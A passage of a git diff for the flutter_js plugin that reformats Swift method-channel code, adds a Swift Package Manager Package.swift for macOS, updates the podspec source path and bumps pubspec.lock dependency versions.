public static func register(with registrar: FlutterPluginRegistrar) {
- let channel = FlutterMethodChannel(name: "io.abner.flutter_js", binaryMessenger: registrar.messenger())
+ let channel = FlutterMethodChannel(
+ name: "io.abner.flutter_js", binaryMessenger: registrar.messenger())
let instance = SwiftFlutterJsPlugin()
registrar.addMethodCallDelegate(instance, channel: channel)
}
@@ -25,10 +29,14 @@ public class SwiftFlutterJsPlugin: NSObject, FlutterPlugin {
if let jsEngine = jsEngineMap[engineId] {
jsEngine.exceptionHandler = { _, exception in
let exceptionDictionary = exception?.toDictionary()
- print("[JSCotextFoundation][Exception] \(String(describing: exception)) at line \(String(describing: exceptionDictionary?["line"])):\(String(describing: exceptionDictionary?["column"]))")
- result(FlutterError(code: "EvaluateError",
- message: String(describing: exception),
- details: nil))
+ print(
+ "[JSCotextFoundation][Exception] \(String(describing: exception)) at line \(String(describing: exceptionDictionary?["line"])):\(String(describing: exceptionDictionary?["column"]))"
+ )
+ result(
+ FlutterError(
+ code: "EvaluateError",
+ message: String(describing: exception),
+ details: nil))
}
let resultJsValue: JSValue = jsEngine.evaluateScript(command)
@@ -45,9 +53,11 @@ public class SwiftFlutterJsPlugin: NSObject, FlutterPlugin {
}
} else {
- result(FlutterError(code: "EvaluateError",
- message: "jsEngine was not found",
- details: nil))
+ result(
+ FlutterError(
+ code: "EvaluateError",
+ message: "jsEngine was not found",
+ details: nil))
}
case "close":
result(FlutterMethodNotImplemented)
diff --git a/macos/flutter_js.podspec b/macos/flutter_js.podspec
index c6401607..989de722 100644
--- a/macos/flutter_js.podspec
+++ b/macos/flutter_js.podspec
@@ -13,7 +13,7 @@ A new flutter plugin project.
s.license = { :file => '../LICENSE' }
s.author = { 'Your Company' => 'email@example.com' }
s.source = { :path => '.' }
- s.source_files = 'Classes/**/*'
+ s.source_files = 'flutter_js/Sources/flutter_js/**/*.swift'
s.dependency 'FlutterMacOS'
s.platform = :osx, '10.11'
diff --git a/macos/flutter_js/Package.swift b/macos/flutter_js/Package.swift
new file mode 100644
index 00000000..4fef3584
--- /dev/null
+++ b/macos/flutter_js/Package.swift
@@ -0,0 +1,25 @@
+// swift-tools-version: 5.9
+// The swift-tools-version declares the minimum version of Swift required to build this package.
+
+import PackageDescription
+
+let package = Package(
+ name: "flutter_js",
+ platforms: [
+ .macOS("10.15")
+ ],
+ products: [
+ .library(name: "flutter-js", targets: ["flutter_js"])
+ ],
+ dependencies: [
+ .package(name: "FlutterFramework", path: "../FlutterFramework")
+ ],
+ targets: [
+ .target(
+ name: "flutter_js",
+ dependencies: [
+ .product(name: "FlutterFramework", package: "FlutterFramework")
+ ]
+ )
+ ]
+)
diff --git a/macos/Classes/FlutterJsPlugin.swift b/macos/flutter_js/Sources/flutter_js/FlutterJsPlugin.swift
similarity index 100%
rename from macos/Classes/FlutterJsPlugin.swift
rename to macos/flutter_js/Sources/flutter_js/FlutterJsPlugin.swift
diff --git a/pubspec.lock b/pubspec.lock
index 6130a2a5..67b58591 100644
--- a/pubspec.lock
+++ b/pubspec.lock
@@ -21,10 +21,10 @@ packages:
dependency: transitive
description:
name: characters
- sha256: f71061c654a3380576a52b451dd5532377954cf9dbd272a78fc8479606670803
+ sha256: faf38497bda5ead2a8c7615f4f7939df04333478bf32e4173fcb06d428b5716b
url: "https://pub.dev"
source: hosted
- version: "1.4.0"
+ version: "1.4.1"
clock:
dependency: transitive
description:
@@ -87,50 +87,50 @@ packages:
dependency: transitive
description:
name: leak_tracker
- sha256: "6bb818ecbdffe216e81182c2f0714a2e62b593f4a4f13098713ff1685dfb6ab0"
+ sha256: "33e2e26bdd85a0112ec15400c8cbffea70d0f9c3407491f672a2fad47915e2de"
url: "https://pub.dev"
source: hosted
- version: "10.0.9"
+ version: "11.0.2"
leak_tracker_flutter_testing:
dependency: transitive
description:
name: leak_tracker_flutter_testing
- sha256: f8b613e7e6a13ec79cfdc0e97638fddb3ab848452eff057653abd3edba760573
+ sha256: "1dbc140bb5a23c75ea9c4811222756104fbcd1a27173f0c34ca01e16bea473c1"
url: "https://pub.dev"
source: hosted
- version: "3.0.9"
+ version: "3.0.10"
leak_tracker_testing:
dependency: transitive
description:
name: leak_tracker_testing
- sha256: "6ba465d5d76e67ddf503e1161d1f4a6bc42306f9d66ca1e8f079a47290fb06d3"
+ sha256: "8d5a2d49f4a66b49744b23b018848400d23e54caf9463f4eb20df3eb8acb2eb1"
url: "https://pub.dev"
source: hosted
- version: "3.0.1"
+ version: "3.0.2"
matcher:
dependency: transitive
description:
name: matcher
- sha256: dc58c723c3c24bf8d3e2d3ad3f2f9d7bd9cf43ec6feaa64181775e60190153f2
+ sha256: "31bd099b47c10cd1aeb55146a2d46ce0277630ecef3f7dae54ad7873f36696cd"
url: "https://pub.dev"
source: hosted
- version: "0.12.17"
+ version: "0.12.20"
material_color_utilities:
dependency: transitive
description:
name: material_color_utilities
- sha256: f7142bb1154231d7ea5f96bc7bde4bda2a0945d2806bb11670e30b850d56bdec
+ sha256: "9c337007e82b1889149c82ed242ed1cb24a66044e30979c44912381e9be4c48b"
url: "https://pub.dev"
source: hosted
- version: "0.11.1"
+ version: "0.13.0"
meta:
dependency: transitive
description:
name: meta
- sha256: e3641ec5d63ebf0d9b41bd43201a66e3fc79a65db5f61fc181f04cd27aab950c
+ sha256: "307249ce4ff29d58a18e97f6345f539382eb9c9c29ecda628900f31de0443dd9"
url: "https://pub.dev"
source: hosted
- version: "1.16.0"
+ version: "1.19.0"
path:
dependency: transitive
description:
@@ -196,10 +196,10 @@ packages:
dependency: transitive
description:
name: test_api
- sha256: fb31f383e2ee25fbbfe06b40fe21e1e458d14080e3c67e7ba0acfde4df4e0bbd
+ sha256: "2a122cbe059f8b610d3a5415f42e255b6c17b1f21eee1d960f31080237fb4f11"
url: "https://pub.dev"
source: hosted
- version: "0.7.4"
+ version: "0.7.12"
typed_data:
dependency: transitive
description:
@@ -212,10 +212,10 @@ packages:
dependency: transitive
description:
name: vector_math
- sha256: "80b3257d1492ce4d091729e3a67a60407d227c27241d6927be0130c98e741803"
+ sha256: f36f9f3be64c6198714492bb455c11056e33e2f85d9a0b676a48301e44fdcf47
url: "https://pub.dev"
source: hosted
- version: "2.1.4"
+ version: "2.4.2"
vm_service:
dependency: transitive
description:
@@ -225,5 +225,5 @@ packages:
source: hosted
version: "15.0.0"
sdks:
- dart: ">=3.7.0-0 <4.0.0"
+ dart: ">=3.11.0-0 <4.0.0"
flutter: ">=3.18.0-18.0.pre.54"